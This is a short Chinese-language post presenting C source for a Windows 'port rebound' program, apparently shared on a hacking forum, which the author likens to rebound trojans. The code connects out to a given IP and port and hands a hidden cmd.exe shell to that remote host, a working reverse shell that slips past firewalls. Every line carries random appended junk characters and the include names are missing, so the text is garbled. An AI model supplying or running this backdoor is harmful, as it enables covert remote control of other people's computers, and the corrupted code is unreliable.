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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 2r%lA\,h$  
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/* ============================== %_UN<a  
Rebound port in Windows NT ,|88r=}  
By wind,2006/7 Z`&4SH=j  
===============================*/ Va$Pi19 O  
#include -8N|xQ378  
#include hd 0 'u  
<A9y9|>o  
#pragma comment(lib,"wsock32.lib") Jdy=_88MD  
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void OutputShell(); X{kpSA~  
SOCKET sClient; v2,%K`pAU  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; QKE9R-K TE  
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void main(int argc,char **argv) z_ =Bt  
{ zS< jd~  
WSADATA stWsaData; fw;rbP!  
int nRet; r 6eb}z!i  
SOCKADDR_IN stSaiClient,stSaiServer; JCY~W=;v  
 8L*GE  
if(argc != 3) 8J)xzp`*)  
{ ~}ET?Q7t  
printf("Useage:\n\rRebound DestIP DestPort\n"); LJVG~Yeo  
return; 1&:@  
} % },Pe  
f+.T^es  
WSAStartup(MAKEWORD(2,2),&stWsaData);  d^(1TNS  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); M.td^l0  
U4G}DCU  
stSaiClient.sin_family = AF_INET; Tg3!Rq55  
stSaiClient.sin_port = htons(0); }qjCTEs}  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ""svDfy$  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR)  M/z}p  
{ 8z5# ]u;  
printf("Bind Socket Failed!\n"); 3gQPKBpc  
return; Vpp;\  
} d`d0 N5\  
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stSaiServer.sin_family = AF_INET; \(p{t  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); u>pBB@  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); |Oag,o"  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) h3gWOU  
{ IHC1G1KW=A  
printf("Connect Error!"); _8G>&K3T<  
return; g+PPW88P;  
} vB! |\eJ  
OutputShell();  _ q(Q  
} ~L7:2weV[  
&:=$wc  
void OutputShell() 3/JyUh?  
{ vs6,  
char szBuff[1024]; NcCvm#  
SECURITY_ATTRIBUTES stSecurityAttributes; }`yiT<z  
OSVERSIONINFO stOsversionInfo; f f7(  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; c<#<k}y  
STARTUPINFO stStartupInfo; \M]-bw`  
char *szShell; ^Y{D^\} ,  
PROCESS_INFORMATION stProcessInformation; fa.0I~  
unsigned long lBytesRead; Q:6VYONN  
ESb ]}c:  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); O3V.^_k;  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); F~U!1)  
stSecurityAttributes.lpSecurityDescriptor = 0; irTv4ZE'+l  
stSecurityAttributes.bInheritHandle = TRUE; 0uCT+-  
vw<K}z  
Q+i\8RJ  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ?*r!{3T ,u  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 6#A:}B<?  
c-j_INGm  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); H(Ms^8Vs~:  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; A>.2OC+  
stStartupInfo.wShowWindow = SW_HIDE; ji+{ :D  
stStartupInfo.hStdInput = hReadPipe; !MQ N  H  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ( #&|Dp^'  
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GetVersionEx(&stOsversionInfo); 6aOp[-Le  
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switch(stOsversionInfo.dwPlatformId) (bn Zy0  
{ bXM/2Z?6  
case 1: kRIB<@{  
szShell = "command.com"; i+M*J#'  
break; -.vDF?@G  
default: 4f1D*id*`#  
szShell = "cmd.exe"; qJ[@:&:  
break; 9EF~l9`'U  
} L~FTr  
rcbP$t vz  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ipKG!  
\k&1*b?h  
send(sClient,szMsg,77,0); a5`eyL[f  
while(1) }WP-W  
{ |LYKc.xo  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); |9NIGg'n  
if(lBytesRead) &+nRIv S_`  
{ P6?0r_Y  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); {sS_|sX  
send(sClient,szBuff,lBytesRead,0); $T dC/#7  
} M$CVQ>op:  
else _GbE ^  
{ ~-Oa8ww  
lBytesRead=recv(sClient,szBuff,1024,0); )}X5u%woV  
if(lBytesRead<=0) break; S6 }QFx  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); )bWrd $X  
} &`:rp!Lc  
} @oH[SWx  
{tzxA_  
return; 8@7AE"  
}
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